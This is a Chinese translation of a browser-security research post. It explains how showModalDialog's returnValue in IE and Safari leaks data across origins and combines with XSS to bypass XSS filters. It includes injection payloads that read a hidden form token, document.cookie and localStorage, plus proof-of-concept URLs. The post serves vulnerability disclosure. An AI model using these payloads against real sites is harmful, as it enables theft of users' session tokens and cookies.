showModalDialog函数已经存在许多年了,虽然现目前在WEB标准中已经看不到它的身影,但它有一个独特的机制,我认为我为其写的这篇文章是值得的。该函数支持IE, Firefox以及Safari。注意Chrome37时就取消了对该函数的支持!
第一个参数就是你想要在模拟对话框中打开的URL,第二个参数是你想传递给模拟对话框参数,你可以在模拟窗口中通过window.dialogArguments特性使用它。
通过window.dialogArguments传递参数,这两个窗口必须同源。
但是他们的returnValue值不同,在Safari和IE下两个窗口不需要同源,而在Firefox两个窗口就需要同源了。
下面是我的测试地址:
http://vulnerabledoma.in/showModalDialog/opener.html
Safari可以轻松的将其传递给不同的源,请点击 "x-origin" 按钮进行测试。
从IE上进行复制,我们需要3xx重定向,请点击"x-origin(redirect)" 按钮进行测试。
通过Safari和IE中returnValue的特性,我们可以将信息传递给另外一个源。这可能会给目前许多Web应用带来威胁,当然我不会在2015年提倡大家安全使用showModalDialog。
可利用条件:
1.JS中存在Xss 2.JS中包含敏感信息
下面为我的测试页面:
http://vulnerabledoma.in/xss_token?q=[XSS_HERE]
<form name=form> <input type=hidden name=token value=f9d150048b> </form> <script>var q="[XSS_HERE]"</script>
眼见为实,耳听为虚。请使用IE看看下面的POC
http://l0.cm/xssfilter_bypass/showModalDialog.html
如果顺利当你关闭模拟对话时,你会看到弹出token字符串。
我们来看看细节。你将会重定向到
http://vulnerabledoma.in/xss_token?q= %22%3BreturnValue=form.token.value//
注入有效载荷:
<form name=form> <input type=hidden name=token value=f9d150048b> </form> <script>var q="";returnValue=form.token.value//"</script>
接着,token传递给returnValue。
无需多言,它的工作原理:
";returnValue=document.cookie// ";returnValue=localStorage.key//
我有尝试通过window.opener访问另一个页面的窗口目标(window object)
理解了么?
之前我的博客中有关于绕过Xss过滤的研究,全是日文见谅。
如果你对其他过滤方法感兴趣,欢迎使用Google搜寻。
ブラウザのXSS保護機能をバイパスする(1) (2012/2)
ブラウザのXSS保護機能をバイパスする(2) (2012/3)
ブラウザのXSS保護機能をバイパスする(3) (2012/9)
ブラウザのXSS保護機能をバイパスする(4) (2014/9)
ブラウザのXSS保護機能をバイパスする(5) (2014/10)
在未来我将尽量使用英文来更新博客,谢谢
我找到一种方法通过returnValue传递其他同源页面的信息。
无论如何,请进入下面的地址,并点击go按钮
http://l0.cm/xssfilter_bypass/showModalDialog2.html
如果顺利,你能够在弹出的窗口中看到来自其他同源页面的信息"<h1>This is secret Text!</h1>"
在这个POC,我们不需要3xx重定向,可以在来自x-origin页面存在着showModalDialog的iframe中设置returnValue。
* 参考来源 mksben ,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)